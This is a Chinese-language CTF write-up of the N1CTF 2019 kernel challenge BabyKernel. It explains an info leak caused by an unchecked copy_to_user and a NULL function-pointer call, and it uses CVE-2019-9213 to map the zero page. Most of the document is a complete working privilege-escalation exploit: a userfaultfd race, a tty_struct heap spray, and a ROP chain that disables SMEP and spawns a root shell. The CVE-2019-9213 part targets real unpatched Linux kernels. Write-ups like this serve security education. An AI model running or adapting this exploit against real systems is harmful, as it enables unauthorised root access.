N1CTF 2019 pwn BabyKernel 详解

TOC

  1. 1. BabyKernel
  2. 2. CVE-2019-9213
  3. 3. 逻辑漏洞
  4. 4. 0地址读写漏洞
  5. 5. 思路
  6. 6. 完整代码

该题用到了 CVE-2019-9213 漏洞,下面的内容是基于对Balsn战队的exp分析而得来的。

相关文件下载:babykernel.zip

Balsn战队的exp只有代码,注释也比较少,这里我研究了一下该exp样本,并对其的行为做出一些解释。

BabyKernel

IDA对该程序的反汇编并不算很准确,特别是对于一些__usercall函数和__fastcall函数混淆了,使得反汇编出来的代码并不算好看,需要自己手动进行调整。

参数的传递协议并不难分析,这里我直接贴出其代码:

typedef struct Args
{
unsigned long long addr_amount;
struct
{
void *addr;
unsigned long long size;
} addr_array[0x10];
unsigned long long index;
} Args;

内核中:

00000000 Container       struc ; (sizeof=0x20, mappedto_3)
00000000 kmalloc_ptr dq ?
00000008 size dq ?
00000010 is_used dq ?
00000018 kmem_cache_alloc_ptr dq ?
00000020 Container ends

CVE-2019-9213

linux内核用户空间0虚拟地址映射漏洞,通过这个漏洞可以使得地址0的内存可写可读。能避免因访问非法内存而引起的一些异常。

int main()
{
void *map;
int fd;
char cmd[0x400];
unsigned long long addr;

map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED)
{
errExit("mmap");
}

if ((fd = open("/proc/self/mem", O_RDWR)) == -1)
{
errExit("open");
}

addr = (unsigned long long)map;
while (addr != 0)
{
addr -= 0x1000;
lseek(fd, addr, SEEK_SET);
sprintf(cmd, "LD_DEBUG=help su >&%d", fd);
system(cmd);
}
close(fd);
printf("data at NULL: 0x%llx\n", *(unsigned long long *)0);
}

逻辑漏洞

to_user函数这里有个不太明显的漏洞,在了解其之前我先简述一下其代码行为,由于没有开启smap,所以前面是直接对于参数的地址列表的每项地址的第一个字节都赋值为0,如果地址不可访问的则会直接crash,也就没有后文了。

然后再对参数的地址列表进行内存复制,程序会对操作的字节数进行汇总和溢出判读,预期情况下是不可能超出kmalloc所分配的大小。

void __fastcall to_user(Args *arg)
{
...
LABEL_22:
while ( 1 )
{
ptr_size_1 = ptr_size;
offset_addr = offset + v26->kmalloc_ptr;
if ( !ptr_size )
break;
size = v30;
temp_arg = (Addr *)&v29;
while ( 1 )
{
while ( !size )
{
++temp_arg;
size = temp_arg->size;
}
if ( ptr_size_1 <= size )
size = ptr_size_1;
size_1 = size;
if ( copy_to_user(temp_arg->addr, offset_addr, size) )
break;
v24 = temp_arg->size;
offset += size_1;
offset_addr += size_1;
temp_arg->addr += size_1;
size = v24 - size_1;
ptr_size_1 -= size_1;
temp_arg->size = size;
if ( !ptr_size_1 )
goto LABEL_30; // out
}
}
LABEL_30:
ptr_size -= offset;
}
while ( (signed __int64)ptr_size > 0 );
}
}
}
}

该漏洞的主要原因是程序员过于信赖copy_to_user函数一定会成功,所以并没有对copy_to_user函数做过多防护(没有经验的程序员常犯的一个错误),当参数的地址列表存在非法地址时,就会跳出内部循环,从而在外部循环那里ptr_size_1 = ptr_size;,使得可以读的内容大于kmalloc分配的内容,只要攻击者巧妙利用一下,就能泄露出kernel信息进行利用。

0地址读写漏洞

void __fastcall from_user2(__int64 arg)
{
...
while ( !copy_from_user(v14 + v15, v11->addr, v11->size) )
{
v15 += v11->size;
++v16;
++v11;
if ( v18 <= v16 )
return;
}
v17 = *(_QWORD *)ptr[v21].kmem_cache_alloc_ptr;
_x86_indirect_thunk_rax(v14);
ptr[v21].kmem_cache_alloc_ptr = 0LL;
}
...
}

from_user2函数中,当copy_from_user失败时,会调用ptr[v21].kmem_cache_alloc_ptr的函数指针指向的函数,但是其并没有对地址进行NULL判读,而且程序仅仅对kmem_cache_alloc_ptr置空,但是没有对is_used置空,所以这里可以直接用CVE-2019-9213进行程序流劫持。

思路

void get_NULL()
{
void *map;
int fd;
char cmd[0x400];
unsigned long long addr;

map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED)
{
errExit("mmap");
}

if ((fd = open("/proc/self/mem", O_RDWR)) == -1)
{
errExit("open");
}

addr = (unsigned long long)map;
while (addr != 0)
{
addr -= 0x1000;
lseek(fd, addr, SEEK_SET);
#ifdef WITH_GLIBC
sprintf(cmd, "LD_DEBUG=help su >&%d", fd);
#else
sprintf(cmd, "LD_DEBUG=help su --help 2>&%d", fd);
#endif
system(cmd);
}
close(fd);
printf("data at NULL: 0x%llx\n", *(unsigned long long *)0);
}

这里特别说明一下,由于靶机没有glibc环境,所以只能用LD_DEBUG=help su --help 2>这样的方式写入。

arg.addr_amount = 4;
arg.addr_array[0].addr = addr2;
arg.addr_array[0].size = 0x300;
arg.addr_array[1].addr = target_addr;
arg.addr_array[1].size = 0x80;
arg.addr_array[2].addr = fault_page;
arg.addr_array[2].size = 0x80;
arg.addr_array[3].addr = addr2;
arg.addr_array[3].size = 0x300;
arg.index = 0;

fault_page为绑定了缺页中断句柄处理函数的地址,下面的代码是该处理函数,可以看到他对target_addr取消了映射,这一步至关重要,当to_user刚开始对地址列表置0时,由于target_addrfault_page之前,所以此时target_addr还没被取消映射,但是当对fault_page置0时,则会触发缺页中断,然后调用绑定的处理函数fault_handler_thread,这样target_addr便会取消映射,那么在之后对target_addr执行copy_to_user函数时,则一定会失败,这就直接导致了该漏洞,使得我们可以读取溢出的数据。

static void *
fault_handler_thread(void *arg)
{
...
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
munmap(TARGET_ADDR, page_size);
...
}

这里提一点,如果target_addr一直是没有映射内存的,会导致内核一直循环cpy_to_user函数,所以我们需要写一个线程让它在一段时间后将target_addr映射回来,这样就可以让程序正常退出了。当然还要构造好size,使得刷新后的size任然可以等于kmalloc分配的size。

void *recover_target_addr(void *p)
{
usleep(10 * 1000);
mmap((void *)TARGET_ADDR, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
}

由于kmalloc利用slab机制分配内存,所以其地址旁可能存在大量的内存碎片,我们可以用open("/dev/ptmx",O_RDWR)申请大量的内存(应该是kmalloc-1024数量级的),这样该地址旁边就会有很大概率有我们所申请的struct tty_struct结构,我们可以以此泄露出内核基地址。

for(i = 0; i < 0x380; i++){ open("/dev/ptmx",O_RDWR); }

这里不能消耗太多资源,否则会导致系统没有资源起新进程。

*(unsigned long long* )0 = offset + 0xffffffff81488731;
arg.addr_amount = 1;
arg.addr_array[0].addr = addr2 +0xff8;
arg.addr_array[0].size = 0x10;
arg.index = 1;

ioctl(fd, 333, &arg);
signal(SIGSEGV, get_shell);
ioctl(fd, 333, &arg);

由于addr2地址长度为0x1000,所以在调用from_user2函数中其copy_from_user一定会失败。那么之后便会调用kmem_cache_alloc_ptr指向的函数。

该步骤主要分为两个ioctl(fd, 333, &arg);,第一个先置kmem_cache_alloc_ptr为0,第二个就是写0地址的内容,使得在第二次ioctl(fd, 333, &arg);的时候劫持程序流。

0xffffffff81488731的汇编代码如下,由于在call __x86_indirect_thunk_rax时,rdi寄存器恰好为ptr[index]->kmalloc_ptr的值,所以可以利用上面的代码进行栈转移。

0xffffffff81488731    push   rdi
0xffffffff81488732 add byte ptr [rbx + 0x41], bl
0xffffffff81488735 pop rsp
0xffffffff81488736 pop r13
0xffffffff81488738 pop rbp
0xffffffff81488739 ret

完整代码

// compiled: musl-gcc -static -s -pthread exp.c
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

// #define GCC
// #define WITH_GLIBC
#define TARGET_ADDR 0xabc0000

#ifdef GCC
#include <linux/userfaultfd.h>
#else
#include "userfaultfd.h"
#endif

typedef struct Args
{
unsigned long long addr_amount;
struct
{
void *addr;
unsigned long long size;
} addr_array[0x10];
unsigned long long index;
} Args;

unsigned long long page_size;
unsigned long long user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
:);
}

#define errExit(msg) \
do \
{ \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)

// Based on the manual of Linux.
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

/* Create a page that will be copied into the faulting region */

if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}

/* Loop, handling incoming events on the userfaultfd
file descriptor */

for (;;) {

/* See what poll() tells us about the userfaultfd */

struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
munmap(TARGET_ADDR, page_size);
if (nready == -1)
errExit("poll");

// printf("\nfault_handler_thread():\n");
// printf(" poll() returns: nready = %d; "
// "POLLIN = %d; POLLERR = %d\n", nready,
// (pollfd.revents & POLLIN) != 0,
// (pollfd.revents & POLLERR) != 0);

/* Read an event from the userfaultfd */

nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}

if (nread == -1)
errExit("read");

/* We expect only one kind of event; verify that assumption */

if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}

/* Display info about the page-fault event */

// printf(" UFFD_EVENT_PAGEFAULT event: ");
// printf("flags = %llx; ", msg.arg.pagefault.flags);
// printf("address = %llx\n", msg.arg.pagefault.address);

/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */

// memset(page, 'A' + fault_cnt % 20, page_size);
// fault_cnt++;

// uffdio_copy.src = (unsigned long) page;

/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary */

uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

// printf(" (uffdio_copy.copy returned %lld)\n",
// uffdio_copy.copy);
}
}
char *get_fault_page()
{
long uffd; /* userfaultfd file descriptor */
char *addr; /* Start of region handled by userfaultfd */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

page_size = sysconf(_SC_PAGE_SIZE);
len = page_size;

/* Create and enable userfaultfd object */

uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */

addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");

// printf("Address returned by mmap() = %p\n", addr);

/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */

uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

/* Create a thread that will process the userfaultfd events */

s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);
if (s != 0)
{
errno = s;
errExit("pthread_create");
}

return addr;
}

// CVE-2019-9213
void get_NULL()
{
void *map;
int fd;
char cmd[0x400];
unsigned long long addr;

map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED)
{
errExit("mmap");
}

if ((fd = open("/proc/self/mem", O_RDWR)) == -1)
{
errExit("open");
}

addr = (unsigned long long)map;
while (addr != 0)
{
addr -= 0x1000;
lseek(fd, addr, SEEK_SET);
#ifdef WITH_GLIBC
sprintf(cmd, "LD_DEBUG=help su >&%d", fd);
#else
sprintf(cmd, "LD_DEBUG=help su --help 2>&%d", fd);
#endif
system(cmd);
}
close(fd);
printf("data at NULL: 0x%llx\n", *(unsigned long long *)0);
}

void *recover_target_addr(void *p)
{
usleep(10 * 1000);
mmap((void *)TARGET_ADDR, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
}

void get_shell(int sig)
{
printf("get shell, uid: %d\n", getuid());
system("sh");
printf("%m\n");
exit(EXIT_SUCCESS);
}

int main()
{
char *fault_page, *addr2, *target_addr;
Args arg;
int fd, i;
pthread_t tid;
unsigned long long leak_addr, kernel_base_addr, offset, *rop;

get_NULL();
fault_page = get_fault_page();
fd = open("/dev/pwn", O_RDONLY);
addr2 = (void *)mmap((void *)0x1234000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
target_addr = (void *)mmap((void *)TARGET_ADDR, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

// create
arg.addr_amount = 1;
arg.addr_array[0].addr = addr2;
arg.addr_array[0].size = 0x400;
arg.index = 0;
ioctl(fd, 111, &arg);

for(i = 0; i < 0x380; i++){ open("/dev/ptmx",O_RDWR); }

arg.addr_amount = 4;
arg.addr_array[0].addr = addr2;
arg.addr_array[0].size = 0x300;
arg.addr_array[1].addr = target_addr;
arg.addr_array[1].size = 0x80;
arg.addr_array[2].addr = fault_page;
arg.addr_array[2].size = 0x80;
arg.addr_array[3].addr = addr2;
arg.addr_array[3].size = 0x300;
arg.index = 0;

pthread_create(&tid, NULL, recover_target_addr, NULL);
ioctl(fd, 222, &arg);
pthread_join(tid, NULL);

// for(i = 0; i < 0x10; i++)
// {
// printf("%20llx ", *(unsigned long long *)(addr2 + i * 0x10));
// printf("%20llx \n", *(unsigned long long *)(addr2 + i * 0x10 + 8));
// }

leak_addr = *(unsigned long long *)(addr2 + 24);
if(leak_addr > 0xff00000000000000 && (leak_addr & 0xfff) == 0x820)
{
kernel_base_addr = leak_addr - 0x10a3820;
printf("Kernel base addr: 0x%llx\n", kernel_base_addr);
}
else
{
puts("Leak Failed");
arg.addr_amount = 0;
ioctl(fd, 444, &arg);
exit(EXIT_FAILURE);
}

offset = kernel_base_addr - 0xffffffff81000000;

save_status();
rop = (unsigned long long* )(addr2 + 0x10);
i = 0;

rop[i++] = offset + 0xffffffff81086800; // : pop rdi ; ret;
rop[i++] = 0;
rop[i++] = offset + 0xffffffff810b9db0; // prepare_kernel_cred
rop[i++] = offset + 0xffffffff8151224c; //: push rax ; pop rdi ; add byte ptr [rax], al ; pop rbp ; ret
rop[i++] = 0;
rop[i++] = offset + 0xffffffff810b9a00; // commit_creds

rop[i++] = offset + 0xffffffff81086800; //: pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = offset + 0xffffffff81020480; //: mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;

rop[i++] = offset + 0xffffffff81070894; // swapgs ; pop rbp ; ret
rop[i++] = 0;
rop[i++] = offset+0xffffffff81036bfb; // iretq
rop[i++] = (unsigned long long)get_shell;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

arg.addr_amount = 1;
arg.addr_array[0].addr = addr2;
arg.addr_array[0].size = 0x400;

ioctl(fd, 111, &arg);

*(unsigned long long* )0 = offset + 0xffffffff81488731;
arg.addr_amount = 1;
arg.addr_array[0].addr = addr2 +0xff8;
arg.addr_array[0].size = 0x10;
arg.index = 1;

ioctl(fd, 333, &arg);
signal(SIGSEGV, get_shell);
ioctl(fd, 333, &arg);

return 0;
}